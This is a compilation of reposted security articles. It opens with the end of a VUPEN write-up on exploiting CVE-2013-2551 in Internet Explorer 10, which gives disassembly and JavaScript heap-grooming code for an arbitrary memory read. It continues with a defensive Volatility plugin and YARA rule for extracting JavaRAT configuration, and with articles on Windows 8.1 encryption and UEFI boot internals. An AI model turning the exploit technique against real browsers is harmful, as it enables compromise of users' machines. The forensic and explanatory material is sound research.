"COARuntimeStyle::put_marginLeft()" for instance shows that the object carries a pointer to an arbitrary string at offset 0x58. [TABLE] [TR] [TD] .text:1008EAB5 COARuntimeStyle::get_marginLeft(unsigned short * *) ... .text:1008EB05 mov ecx, [eax+58h] .text:1008EB08 test ecx, ecx .text:1008EB0A jz short loc_1008EB1A .text:1008EB0C push ecx .text:1008EB0D call SysAllocString(x) //read the string at offset 0x58 .text:1008EB13 mov ecx, [ebp+arg_4] .text:1008EB16 mov [ecx], eax [/TD] [/TR] [/TABLE] [TABLE] [TR] [TD] .text:1008EB6D COARuntimeStyle__put_marginLeft(int, OLECHAR *psz) ... .text:1008EBBC mov eax, [ebp+psz] .text:1008EBBF xor edx, edx .text:1008EBC1 cmp [esi+58h], edx .text:1008EBC4 mov [esi+58h], edx .text:1008EBC7 setnz cl .text:1008EBCA test eax, eax .text:1008EBCC jz short loc_1008EBE1 .text:1008EBCE cmp [eax], dx .text:1008EBD1 jz short loc_1008EBE1 .text:1008EBD3 push eax .text:1008EBD4 call SysAllocString(x) //copy the user supplied string .text:1008EBDA mov [esi+58h], eax to offset 0x58 [/TD] [/TR] [/TABLE] As a result, if we manage to set the heap so that the ORG array precedes a COARuntimeStyle, we will be able to overwrite the marginLeft pointer with an arbitrary value which can later be read back in "COARuntimeStyle::get_marginLeft()". Reversing VML a bit more shows that these COARuntimeStyle objects are actually created by "CParserTag::GetRTSInfo()" and need 0xAC bytes: [TABLE] [TR] [TD] .text:10039222 mov edi, edi .text:10039224 push ebx .text:10039225 push esi .text:10039226 mov esi, ecx .text:10039228 xor ebx, ebx .text:1003922A push edi .text:1003922B cmp [esi+30h], ebx .text:1003922E jnz short loc_10039261 .text:10039230 mov edi, 0ACh .text:10039235 push edi .text:10039236 call new(uint) //allocate ACh bytes on the heap [/TD] [/TR] [/TABLE] Great! Allocating an ORG array of 44 items (44 * 4 = 0xB0) will thus place the vulnerable buffer in the middle of COARuntimeStyle objects: [TABLE] [TR] [TD] for (var i=0; i<0x400; i++) //set up the heap { a = document.getElementById("rect" + i.toString())._vgRuntimeStyle; } for (var i=0; i<0x400; i++) { a.rotation; //create a COARuntimeStyle if (i == 0x300) { //allocate an ORG array of size B0h vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } } [/TD] [/TR] [/TABLE] Next, iterate over the marginLeft properties to see which one can be targeted: [TABLE] [TR] [TD] for (var i=0; i<0x400; i++) { a.marginLeft = "a"; marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16); if (marginLeftAddress > 0) { shape.dashstyle.array.item(0x2E+0x16) = 0x5A5A5A5A; alert(a.marginLeft) } } [/TD] [/TR] [/TABLE] Here is a snapshot of the heap layout after overwriting the pointer: When reading back the marginLeft property, a corruption occurs in "OLEAUT32.SysAllocString()" while reading the string pointed by 0x5A5A5A5A. Of course, any pointer can fit here, such as a pointer to the SharedUserData section on Windows 7 and prior. For Windows 8, after reading the VGX library, we can read data around the COAReturnedPointsForAnchor vTable, until reaching the PE Header "MZ" magic value. With some minor changes, it is also possible to use the same technique to exploit the 64-bit versions of IE10 Desktop (Classic) and IE10 Modern (Metro). For Windows 8, there is even another exploitation technique (left as exercise for the reader) which does not rely on any gadgets and requires almost no changes across VML versions. See you next year at Pwn2Own 2014! © Copyright VUPEN Security Sursa: VUPEN Vulnerability Research Blog - Advanced Exploitation of Internet Explorer 10 on Windows 8 (CVE-2013-2551 / MS13-037 / Pwn2Own 2013)

[h=3]Dumping Malware Configuration Data from Memory with Volatility[/h]As someone who has been in the digital forensics field for most of his life, it's hard to find topics that truly amaze or surprise me (beyond stories of user stupidity . However, the rise of memory analysis tools has really made me satisfied with how well the industry can conquer difficult tasks, especially with free and open source tools. When I first start delving in memory forensics, we typically relied upon controlled operating system crashes (to create memory crash dumps) or the old FireWire exploit with a special laptop. Later, software-based tools like regular dd, and win32dd, made the job much easier (and more entertaining as we watched the feuds between mdd and win32dd). In the early days, our analysis was basically performed with a hex editor. By collecting volatile data from an infected system, we'd attempt to map memory locations manually to known processes, an extremely frustrating and error-prone procedure. Even with the advent of graphical tools such as HBGary Responder Pro, which comes with a hefty price tag, I've found most of my time spent viewing raw memory dumps in WinHex. I've slowly changed my ways over the years as tools like Volatility have gained maturity and become more feature-rich. Volatility is a free and open-source memory analysis tool that takes the hard work out of mapping and correlating raw data to actual processes. At first I shunned Volatility for it's sheer amount of command line memorization, where each query required a new and specialized command line option. Over the years, I've come to appreciate this aspect and the flexibility it provides to an examiner. It's with Volatility that I focus the content for this blog post, to dump malware configurations from memory. For those unfamiliar with the concept, it's rare to find static malware. That is, malware that has a plain-text URL in its .rdata section mixed in with other strings. Modern malware tends to be more dynamic, allowing for configurations to be downloaded upon infection, or be strategically injected into the executable by its author. Crimeware malware (Carberp, Zeus) tend to favor the former, connecting to a hardcoded IP address or domain to download a detailed configuration profile (often in XML) that is used to determine how the malware is to operate. What domains does it beacon to, on which ports, and with what campaign IDs - these are the items we determine from malware configurations. Other malware rely upon a known block of configuration data within the executable, sometimes found within .rdata or simply in the overlay (the data after the end of the actual executable). Sometimes this data is in plain text, often it's encoded or encrypted. A notable example of this is in Mandiant's APT1 report on TARSIP-MOON, where a block of encrypted data is stored in the overlay. The point of this implementation is that an author can compile their malware, and then add in the appropriate configuration data after the fact. As a method to improving the timeliness of malware analysis, I've been advocating for greater research and implementation of configuration dumpers. By identifying where data is stored within the file, and by knowing its encryption routine, one could simply write a script to extract the data, decrypt it, and print it out. Without even running the malware we know its intended C2 communications and have immediate signatures that we can then implement into our network defenses. While this data may appear as a simple structure in plaintext in a sample, often it's encoded or encrypted via a myriad of techniques. Often this may be a form of encryption that we, or our team, deemed as too difficult to decrypt in a reasonable time. This is pretty common, advanced encryption or compression can often take weeks to completely unravel and is often left for when there's downtime in operations. What do we do, then? Easy, go for the memory. We know that the malware has a decryption routine that intakes this data and produces decrypted output. By simply running the malware and analyzing its memory footprint, we will often find the decrypted results in plaintext, as it has already been decrypted and in use by the malware. Why break the encryption when we can let the malware just decrypt it for us? For example, the awesome people at Malware.lu released a static configuration dumper for a known Java-based RAT. This dumper, available here on their GitHub repo, extracts the encryption key and configuration data from the malware's Java ZIP and decrypts it. It uses Triple DES (TDEA), but once that routine became public knowledge, the author quickly switched to a new routine. The author has then continued switching encryption routines regularly to avoid easy decryption. Based on earlier analysis, we know that the data is decrypted as: Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 00000000 70 6F 72 74 3D 33 31 33 33 37 53 50 4C 49 54 01 port=31337SPLIT. 00000016 6F 73 3D 77 69 6E 20 6D 61 63 53 50 4C 49 54 01 os=win macSPLIT. 00000032 6D 70 6F 72 74 3D 2D 31 53 50 4C 49 54 03 03 03 mport=-1SPLIT... 00000048 70 65 72 6D 73 3D 2D 31 53 50 4C 49 54 03 03 03 perms=-1SPLIT... 00000064 65 72 72 6F 72 3D 74 72 75 65 53 50 4C 49 54 01 error=trueSPLIT. 00000080 72 65 63 6F 6E 73 65 63 3D 31 30 53 50 4C 49 54 reconsec=10SPLIT 00000096 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ................ 00000112 74 69 3D 66 61 6C 73 65 53 50 4C 49 54 03 03 03 ti=falseSPLIT... 00000128 69 70 3D 77 77 77 2E 6D 61 6C 77 61 72 65 2E 63 ip=www.malware.c 00000144 6F 6D 53 50 4C 49 54 09 09 09 09 09 09 09 09 09 omSPLIT......... 00000160 70 61 73 73 3D 70 61 73 73 77 6F 72 64 53 50 4C pass=passwordSPL 00000176 49 54 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E IT.............. 00000192 69 64 3D 43 41 4D 50 41 49 47 4E 53 50 4C 49 54 id=CAMPAIGNSPLIT 00000208 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ................ 00000224 6D 75 74 65 78 3D 66 61 6C 73 65 53 50 4C 49 54 mutex=falseSPLIT 00000240 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ................ 00000256 74 6F 6D 73 3D 2D 31 53 50 4C 49 54 04 04 04 04 toms=-1SPLIT.... 00000272 70 65 72 3D 66 61 6C 73 65 53 50 4C 49 54 02 02 per=falseSPLIT.. 00000288 6E 61 6D 65 3D 53 50 4C 49 54 06 06 06 06 06 06 name=SPLIT...... 00000304 74 69 6D 65 6F 75 74 3D 66 61 6C 73 65 53 50 4C timeout=falseSPL 00000320 49 54 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E IT.............. 00000336 64 65 62 75 67 6D 73 67 3D 74 72 75 65 53 50 4C debugmsg=trueSPL 00000352 49 54 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E IT.............. Or, even if we couldn't decrypt this, we know that it's beaconing to a very unique domain name and port which can be searched upon. Either way, we now have a sample where we can't easily get to this decrypted information. So, let's solve that. By running the malware within a VM, we should have a logical file for the memory space. In VMWare, this is a .VMEM file (or .VMSS for snapshot memory). In VirtualBox, it's a .SAV file. After running our malware, we suspend the guest operating system and then focus our attention on the memory file. The best way to start is to simply grep the file (from the command line or a hex editor) for the unique C2 domains or artifacts. This should get us into the general vicinity of the configuration and show us the structure of it: E:\VMs\WinXP_Malware>grep "www.malware.com" * Binary file WinXP_Malware.vmem matches With this known, we open the VMEM file and see a configuration that matches that of what we've previously seen. This tells us that the encryption routine changed, but not that of the configuration, which is common. This is where we bring out Volatility. [h=4]Searching Memory with Volatility[/h] We know that the configuration data begins with the text of "port=<number>SPLIT", where "SPLIT" is used to delimit each field. This can then be used to create a YARA rule of: rule javarat_conf { strings: $a = /port=[0-9]{1,5}SPLIT/ condition: $a } This YARA rule uses the regular expression structure (defined with forward slashes around the text) to search for "port=" followed by a number that is 1 - 5 characters long. This rule will be used to get us to the beginning of the configuration data. If there is no good way to get to the beginning, but only later in the data, that's fine. Just note that offset variance between where the data should start and where the YARA rule puts us. Let's test this rule with Volatility first, to ensure that it works: E:\Development\volatility>vol.py -f E:\VMs\WinXP_Malware\WinXP_Malware.vmem yarascan -Y "/port=[0-9]{1,5}SPLIT/" Volatile Systems Volatility Framework 2.3_beta Rule: r1 Owner: Process VMwareUser.exe Pid 1668 0x017b239b 70 6f 72 74 3d 33 31 33 33 37 53 50 4c 49 54 2e port=31337SPLIT. 0x017b23ab 0a 30 30 30 30 30 30 31 36 20 20 20 36 46 20 37 .00000016...6F.7 0x017b23bb 33 20 33 44 20 37 37 20 36 39 20 36 45 20 32 30 3.3D.77.69.6E.20 0x017b23cb 20 36 44 20 20 36 31 20 36 33 20 35 33 20 35 30 .6D..61.63.53.50 Rule: r1 Owner: Process javaw.exe Pid 572 0x2ab9a7f4 70 6f 72 74 3d 33 31 33 33 37 53 50 4c 49 54 01 port=31337SPLIT. 0x2ab9a804 6f 73 3d 77 69 6e 20 6d 61 63 53 50 4c 49 54 01 os=win.macSPLIT. 0x2ab9a814 6d 70 6f 72 74 3d 2d 31 53 50 4c 49 54 03 03 03 mport=-1SPLIT... 0x2ab9a824 70 65 72 6d 73 3d 2d 31 53 50 4c 49 54 03 03 03 perms=-1SPLIT... One interesting side effect to working within a VM is that some data may appear under the space of VMWareUser.exe. The data is showing up somewhere outside of the context of our configuration. We could try to change our rule, but the simpler solution within the plugin is to just rule out hits from VMWareUser.exe and only allow hits from executables that contain "java". Now that we have a rule, how do we automate this? By writing a quick and dirty plugin for Volatility. [h=4]Creating a Plugin[/h] A quick plugin that I'm demonstrating is composed of two primary components: a YARA rule, and a configuration dumper. The configuration dumper scans memory for the YARA rule, reads memory, and displays the parsed results. An entire post could be written on just this file format, so instead I'll post a very generic plugin and highlight what should be modified. I wrote this based on the two existing malware dumpers already released with Volatility: Zeus and Poison Ivy. Jamie Levy and Michael Ligh, both core developers on Volatility, provided some critical input on ways to improve and clean up the code. # JavaRAT detection and analysis for Volatility - v 1.0 # This version is limited to JavaRAT's clients 3.0 and 3.1, and maybe others # Author: Brian Baskin <brian@thebaskins.com> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or (at # your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA import volatility.plugins.taskmods as taskmods import volatility.win32.tasks as tasks import volatility.utils as utils import volatility.debug as debug import volatility.plugins.malware.malfind as malfind import volatility.conf as conf import string try: import yara has_yara = True except ImportError: has_yara = False signatures = { 'javarat_conf' : 'rule javarat_conf {strings: $a = /port=[0-9]{1,5}SPLIT/ condition: $a}' } config = conf.ConfObject() config.add_option('CONFSIZE', short_option = 'C', default = 256, help = 'Config data size', action = 'store', type = 'int') config.add_option('YARAOFFSET', short_option = 'Y', default = 0, help = 'YARA start offset', action = 'store', type = 'int') class JavaRATScan(taskmods.PSList): """ Extract JavaRAT Configuration from Java processes """ def get_vad_base(self, task, address): for vad in task.VadRoot.traverse(): if address >= vad.Start and address < vad.End: return vad.Start return None def calculate(self): """ Required: Runs YARA search to find hits """ if not has_yara: debug.error('Yara must be installed for this plugin') addr_space = utils.load_as(self._config) rules = yara.compile(sources = signatures) for task in self.filter_tasks(tasks.pslist(addr_space)): if 'vmwareuser.exe' == task.ImageFileName.lower(): continue if not 'java' in task.ImageFileName.lower(): continue scanner = malfind.VadYaraScanner(task = task, rules = rules) for hit, address in scanner.scan(): vad_base_addr = self.get_vad_base(task, address) yield task, address def make_printable(self, input): """ Optional: Remove non-printable chars from a string """ input = input.replace('\x09', '') # string.printable doesn't remove backspaces return ''.join(filter(lambda x: x in string.printable, input)) def parse_structure(self, data): """ Optional: Parses the data into a list of values """ struct = [] items = data.split('SPLIT') for i in range(len(items) - 1): # Iterate this way to ignore any slack data behind last 'SPLIT' item = self.make_printable(items[i]) field, value = item.split('=') struct.append('%s: %s' % (field, value)) return struct def render_text(self, outfd, data): """ Required: Parse data and display """ delim = '-=' * 39 + '-' rules = yara.compile(sources = signatures) outfd.write('YARA rule: {0}\n'.format(signatures)) outfd.write('YARA offset: {0}\n'.format(self._config.YARAOFFSET)) outfd.write('Configuration size: {0}\n'.format(self._config.CONFSIZE)) for task, address in data: # iterate the yield values from calculate() outfd.write('{0}\n'.format(delim)) outfd.write('Process: {0} ({1})\n\n'.format(task.ImageFileName, task.UniqueProcessId)) proc_addr_space = task.get_process_address_space() conf_data = proc_addr_space.read(address + self._config.YARAOFFSET, self._config.CONFSIZE) config = self.parse_structure(conf_data) for i in config: outfd.write('\t{0}\n'.format(i)) This code is also available on my GitHub. In a nutshell, you first have a signature to key on for the configuration data. This is a fully qualified YARA signature, seen as: signatures = { 'javarat_conf' : 'rule javarat_conf {strings: $a = /port=[0-9]{1,5}SPLIT/ condition: $a}' } This rule is stored in a Python dictionary format of 'rule_name' : 'rule contents'. The plugin allows a command line argument (-Y) to set the the YARA offset. If your YARA signature hits 80 bytes past the beginning of the structure, then set this value to -80, and vice versa. This can also be hardcoded by changing the default value. There a second command line argument (-C) to set the size of data to read for parsing. This can also be hardcoded. This will vary based upon the malware; I've seen some multiple kilobytes in size. Rename the Class value, seen here as JavaRATScan, to whatever fits for your malware. It has to be a unique name. Additionally, the """ """ comment block below the class name contains the description which will be displayed on the command line. I do have an optional rule to limit the search to a certain subset of processes. In this case, only processes that contain the word "java" - this is a Java-based RAT, after all. It also skips any process of "VMWareUser.exe". The plugin contains a parse_structure routine that is fed a block of data. It then parses it into a list of items that are returned and printed to the screen (or file, or whatever output is desired). This will ultimately be unique to each malware, and the optional function of make_printable() is one I made to clean up the non-printable characters from the output, allowing me to extending the blocked keyspace. [h=4]Running the Plugin[/h] As a rule, I place all of my Volatility plugins into their own unique directory. I then reference this upon runtime, so that my files are cleanly segregated. This is performed via the --plugins option in Volatility: E:\Development\volatility>vol.py --plugins=..\Volatility_Plugins After specifying a valid plugins folder, run vol.py with the -h option to ensure that your new scanner appears in the listing: E:\Development\volatility>vol.py --plugins=..\Volatility_Plugins -h Volatile Systems Volatility Framework 2.3_beta Usage: Volatility - A memory forensics analysis platform. Options: ... Supported Plugin Commands: apihooks Detect API hooks in process and kernel memory ... javaratscan Extract JavaRAT Configuration from Java processes ... The names are automatically populated based upon your class names. The text description is automatically pulled from the "docstring", which is the comment that directly follows the class name in the plugin. With these in place, run your scanner and cross your fingers: For future use, I'd recommend prepending your plugin name with a unique identifier to make it stand out, like "SOC_JavaRATScan". Prepending with a "zz_" would make the new plugins appear at the bottom of Volality's help screen. Regardless, it'll help group the built-in plugins apart from your custom ones. [h=4]The Next Challenge: Data Structures[/h] The greater challenge is when data is read from within the executable into a data structure in memory. While the data may have a concise and structured form when stored in the file, it may be transformed into a more complex and unwieldy format once read into memory by the malware. Some samples may decrypt the data in-place, then load it into a structure. Others decrypt it on-the-fly so that it is only visible after loading into a structure. For example, take the following fictitious C2 data stored in the overlay of an executable: Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 00000000 08 A2 A0 AC B1 A0 A8 A6 AF 17 89 95 95 91 DB CE .¢ ¬± ¨¦¯.‰••‘ÛÎ 00000016 CE 96 96 96 CF 84 97 88 8D 92 88 95 84 CF 82 8E Ζ––Ï„—ˆ’ˆ•„Ï‚Ž 00000032 8C 03 D5 D5 D2 08 B1 A0 B2 B2 B6 AE B3 A5 05 84 Œ.ÕÕÒ.± ²²¶®³¥.„ 00000048 99 95 93 80 ™•“€ By reversing the malware, we determine that this composed of Pascal-strings XOR encoded by 0xE1. Pascal-string are length prefixed, so applying the correct decoding would result in: Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 00000000 08 43 41 4D 50 41 49 47 4E 17 68 74 74 70 3A 2F .CAMPAIGN.http:/ 00000016 2F 77 77 77 2E 65 76 69 6C 73 69 74 65 2E 63 6F /www.evilsite.co 00000032 6D 03 34 34 33 08 50 41 53 53 57 4F 52 44 05 65 m.443.PASSWORD.e 00000048 78 74 72 61 xtra This is a very simple encoding routine, which I made with just: items = ['CAMPAIGN', 'http://www.evilsite.com', '443', 'PASSWORD', 'extra'] data = '' for i in items: data += chr(len(i)) for x in i: data += chr(ord(x) ^ 0xE1) Data structures are a subtle and difficult component of reverse engineering, and vary in complexity with the skill of the malware author. Unfortunately, data structures are some of the least shared indicators in the industry. Once completed, a sample structure could appear similar to the following: struct Configuration { CHAR campaign_id[12]; CHAR password[16]; DWORD heartbeat_interval; CHAR C2_domain[48]; DWORD C2_port; } With this structure, and the data shown above, the malware reads each variable in and applies it to the structure. But, we can already see some discrepancies: the items are in a differing order, and some are of a different type. While the C2 port is seen as a string, '443', in the file, it appears as a DWORD once read into memory. That means that we'll be searching for 0x01BB (or 0xBB01 based on endianness) instead of '443'. Additionally, there are other values introduced that did not exist statically within the file to contend with. An additional challenge is that depending on how the memory was allocated, there could be slack data found within the data. This could be seen if the malware sample allocates memory malloc() without a memset(), or by not using calloc(). When read and applied to the structure, this data may appear as the following: Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 00000000 43 41 4D 50 41 49 47 4E 00 0C 0C 00 00 50 41 53 CAMPAIGN.....PAS 00000016 53 57 4F 52 44 00 00 00 00 00 00 00 00 00 17 70 SWORD..........p 00000032 68 74 74 70 3A 2F 2F 77 77 77 2E 65 76 69 6C 73 http://www.evils 00000048 69 74 65 2E 63 6F 6D 00 00 00 00 00 00 00 00 00 ite.com......... 00000064 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080 00 00 01 BB ...» We can see from this that our strategy changes considerably when writing a configuration dumper. The dumper won't be written based upon the structure in the file, but instead upon the data structure in memory, after it has been converted and formatted. We'll have to change our parser slightly to account for this. For example, if you know that the Campaign ID is 12 bytes, then read 12 bytes of data and find the null terminator to pull the actual string. This just scratches the surface of what you can do with encrypted data in memory, but I hope it can inspire others to use this template code to make quick and easy configuration dumpers to improve their malware analysis. Posted by Brian Baskin at Friday, October 11, 2013 Sursa: Ghetto Forensics: Dumping Malware Configuration Data from Memory with Volatility

Windows 8.1 Will Start Encrypting Hard Drives By Default: Everything You Need to Know Windows 8.1 will automatically encrypt the storage on modern Windows PCs. This will help protect your files in case someone steals your laptop and tries to get at them, but has important ramifications for data recovery. Previously, “BitLocker” was available on Professional and Enterprise editions of Windows, while “Device Encryption” was available on Windows RT and Windows Phone. Device encryption is included with all editions of Windows 8.1 — and it’s on by default. When Your Hard Drive Will Be Encrypted Windows 8.1 includes “Pervasive Device Encryption.” This works a bit differently from the standard BitLocker feature that’s been included in Professional, Enterprise, and Ultimate editions of Windows for the past few versions. Before Windows 8.1 automatically enables Device Encryption, the following must be true: The Windows device “must support connected standby and meet the Windows Hardware Certification Kit (HCK) requirements for TPM and SecureBoot on ConnectedStandby systems.” (Source) Older Windows PCs won’t support this feature, while new Windows 8.1 devices you pick up will have this feature enabled by default. When Windows 8.1 installs cleanly and the computer is prepared, device encryption is “initialized” on the system drive and other internal drives. Windows uses a clear key at this point, which is removed later when the recovery key is successfully backed up. The PC’s user must log in with a Microsoft account with administrator privileges or join the PC to a domain. If a Microsoft account is used, a recovery key will be backed up to Microsoft’s servers and encryption will be enabled. If a domain account is used, a recovery key will be backed up to Active Directory Domain Services and encryption will be enabled. If you have an older Windows computer that you’ve upgraded to Windows 8.1, it may not support Device Encryption. If you log in with a local user account, Device Encryption won’t be enabled. If you upgrade your Windows 8 device to Windows 8.1, you’ll need to enable device encryption as it’s off by default when upgrading. Recovering An Encrypted Hard Drive Device encryption means that a thief can’t just pick up your laptop, insert a Linux live CD or Windows installer disc, and boot the alternate operating system to view your files without knowing your Windows password. It means that no one can just pull the hard drive from your device, connect the hard drive to another computer, and view the files. We’ve previously explained that your Windows password doesn’t actually secure your files. With Windows 8.1, average Windows users will finally be protected with encryption by default. However, there’s a problem — if you forget your password and are unable to log in, you’d also be unable to recover your files. This is likely why encryption is only enabled when a user logs in with a Microsoft account (or connects to a domain). Microsoft holds a recovery key, so you can gain access to your files by going through a recovery process. As long as you’re able to authenticate using your Microsoft account credentials — for example, by receiving an SMS message on the cell phone number connected to your Microsoft account — you’ll be able to recover your encrypted data. With Windows 8.1, it’s more important than ever to configure your Microsoft account’s security settings and recovery methods so you’ll be able to recover your files if you ever get locked out of your Microsoft account. Microsoft does hold the recovery key and would be capable of providing it to law enforcement if it was requested, which is certainly a legitimate concern in the age of PRISM. However, this encryption still provides protection from thieves picking up your hard drive and digging through your personal or business files. If you’re worried about a government or a determined thief who’s capable of gaining access to your Microsoft account, you’ll want to encrypt your hard drive with software that doesn’t upload a copy of your recovery key to the Internet, such as TrueCrypt. How to Disable Device Encryption There should be no real reason to disable device encryption. If nothing else, it’s a useful feature that will hopefully protect sensitive data in the real world where people — and even businesses — don’t enable encryption on their own. As encryption is only enabled on devices with the appropriate hardware and will be enabled by default, Microsoft has hopefully ensured that users won’t see noticeable slow-downs in performance. Encryption adds some overhead, but the overhead can hopefully be handled by dedicated hardware. If you’d like to enable a different encryption solution or just disable encryption entirely, you can control this yourself. To do so, open the PC settings app — swipe in from the right edge of the screen or press Windows Key + C, click the Settings icon, and select Change PC settings. Navigate to PC and devices -> PC info. At the bottom of the PC info pane, you’ll see a Device Encryption section. Select Turn Off if you’d like to disable device encryption, or select Turn On if you want to enable it — users upgrading from Windows 8 will have to enable it manually in this way. Note that Device Encryption can’t be disabled on Windows RT devices, such as Microsoft’s Surface RT and Surface 2. If you don’t see the Device Encryption section in this window, you’re likely using an older device that doesn’t meet the requirements and thus doesn’t support Device Encryption. For example, our Windows 8.1 virtual machine doesn’t offer Device Encryption configuration options. This is the new normal for Windows PCs, tablets, and devices in general. Where files on typical PCs were once ripe for easy access by thieves, Windows PCs are now encrypted by default and recovery keys are sent to Microsoft’s servers for safe keeping. This last part may be a bit creepy, but it’s easy to imagine average users forgetting their passwords — they’d be very upset if they lost all thief files because they had to reset their passwords. It’s also an improvement over Windows PCs being completely unprotected by default. Sursa: Windows 8.1 Will Start Encrypting Hard Drives By Default: Everything You Need to Know

[h=1]Windows UEFI startup – A technical overview[/h]Posted by Andrea Allievi On ottobre 12, 2013 In Analisi Trough this analysis paper we’ll give a look at Windows 8 (and 8.1) UEFI startup mechanisms and we’ll try to understand their relationship with the underlying hardware platform. Windows boot manager and loader The Windows boot manager starts its execution in the EfiEntry procedure. EfiEntry is, as the name implies, the Bootmgr EFI entry point. It obtains the EFI startup disk device, creates the initial parameters needed for Bootmgr and then it calls the main Bootmgr startup function: BmMain. Bootmgr PE file bootmgfw.efi is indeed loaded and executed by UEFI firmware (Boot Device Selection phase) with LoadImage and StartImage boot service functions. As we’ve already stated in our previous article, Windows Boot manager uses the UEFI firmware to read and write from the start-up disk. In particular, block I/O protocol is used. This protocol abstracts the physical disk mass storage devices and allows the code running in the UEFI context to access them without a specific knowledge of the type of device or controller that manages a particular disk device. The Block I/O protocol allows the OS doing some basic work: reading, writing, flushing and resetting. From the Block I/O protocol derives another UEFI I/O protocol: Disk I/O. The latter is used to abstract the block accesses of the Block I/O protocol to a more general offset-length protocol (I.e. it eliminates LBA and sectors concepts, transforming them to byte offsets). Disk I/O protocol is not used by the Windows loader. BmMain, first of all, initializes all the Boot manager data structures (BlInitializeLibrary), the UEFI firmware environment (BlpFwInitialize procedure obtains Boot services, Runtime services, ConnIn, ConnOut UEFI facilities), the Kernel mode debugger (BlBdInitialize initializes and establishes the earliest possible kernel Debugger connection) and the Secure Boot. Block I/O EFI protocol interface definition (from UEFI Specs) When the Initialization is done the control flow returns to BmMain. BmFwInitializeBootDirectoryPath initializes the Boot applications path (“\EFI\Microsoft\Boot”), it opens the boot disk partition, it probes the “BCD“ hive file, and subsequently it stores its boot directory. Bootmgr then opens and maps the Boot configuration Data. BmOpenDataStore indeed opens and reads the BCD hive file with UEFI services: a bunch of functions are used: BcdOpenStoreFromFile – BiLoadHive – BlpDeviceOpen and BlImgLoadImageWithProgressEx. We will demonstrate how the disk partitions I/O is done with EFI services. BlpDeviceOpen opens the disk partition device that contains the BCD file (EFI System partition with GUID equals to C12A7328-F81F-11D2-BA4B-00A0C93EC93B), BlImgLoadImageWithProgressEx instead opens and reads the BCD hive file. Then the BCD hive is mapped and analysed. If “bootmenupolicy” bcd element is set to “Legacy” , the boot menu is displayed and then winload is read and executed. The Boot flow is now transferred to Winload. We will investigate on Device and File open routines afterwards. For now it is enough to say that this kind of code is the same as the one located in Winload. Bootmgr gives control to Winload in its ImgArchEfiStartBootApplication (UEFI platform dependent, as its name implies). Winload starts its execution in OslMain procedure. OslMain’s job is to initialize the Windows loader data structures, the kernel debugger, and the environment, exactly in the same way as Bootmgr does (the code indeed is the same), and finally it calls OslpMain. OslpMain first of all it analyses its BCD entry elements, various things are captured: OS load options string, OS physical disk device and partition GUID, System root path. Noteworthy it is the OS physical disk device and partition BCD element (BcdOSLoaderDevice_OSDevice – 0×21000001 hex code). This element contains the physical disk GUID and the partition start LBA and signature. These information are stored in winload’s global data structures. BCDLibraryDevice_ApplicationDevice BCD element content (snap taken from a test system) Then the Boot status data (bootstat.dat) is read, and whether something went wrong in the previous boot, the recovery mode will be launched; if the boot flow proceeds normally, the System Hive is located and mapped (OslpLoadSystemHive), the boot bitmap and the bar are displayed, the code integrity and the secure boot are initialized. Now one of the tenets of our project is pinpointed: OslpLoadAllModules Winload procedure reads and maps Nt Kernel module, Hardware abstraction layer (Hal), Kernel debugger module (kdcom.dll) and each boot drivers. Each of this module has been loaded and mapped BUT not started yet. It will be a Nt kernel’s job to launch them (see Windows Internal 6th edition book, Part 2, chapter 13). All boot modules are read and mapped by OslLoadImage. In this big function a call chain takes place. Finally the BlockIoRead is called to read the file data from a block device (LBA addressing). The BlockIoRead determines whether target device is physical or virtual (Vhd image), and, in the first case a call chain to BlockIopFirmwareOperation is made. This last procedure is defined in the following way: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]NTSTATUS BlockIopFirmwareOperation(LPVOID winloadDataStruct, LPVOID lpDestBuff, QWORD qwLba, DWORD dwNumSectorToRead, int unknown) [/TD] [/TR] [/TABLE] BlockIopFirmwareOperation translates the target buffer address and the EFI Block I/O protocol interface for the UEFI context (indeed Winload has already setup an owner GDT, LDT), it switches the context and finally it emits an EFI Block I/O protocol interface ReadBlock call to physically read the data. Then context is switched again to Winload context and the control returns to the caller. If an error has occurred, the current EFI Block I/O protocol interface is closed, reopened with the OpenProtocol EFI Boot service (target device EFI Handle is stored somewhere in “winloadDataStruct”), then I/O is remitted. BlockIopFirmwareOperation is the same routine used previously in Bootmgr each time a disk I/O operation was needed. BlockIopFirmwareOperation Winload function Now we have demonstrated that both Windows Loader and its Boot manager use only the UEFI services to actually read and write to Physical disks. We still have to understand how Windows loader can identify the proper system disk partition device (where all Windows files are stored). To answer this question we have to return back in Bootmgr main start-up procedure. After BlInitializeLibrary has done its job, there is a call to BmFwInitializeBootDirectoryPath. As stated before, the “BCD” file is opened and mapped. In order to map, the Bootmgr needs to initialize and open the EFI System partition. Bootmgr knows the boot partition GUIDs because it has retrieved it in EFI Entry point procedure, starting from its own EFI Loaded Image handle (Bootmgr Efi entry point procedure calls HandleProtocol EFI boot service to obtain Device Path protocol Interface. This interface contains Boot disk partition GUIDs). An important concept to point out now is that, at this stage, the Windows boot manager can easily open only the boot Disk partitions, not the physical disks, because the physical EFI device handle of its Loaded Image interface is a partition handle, not a disk’s one (it contains only the partition GUID). 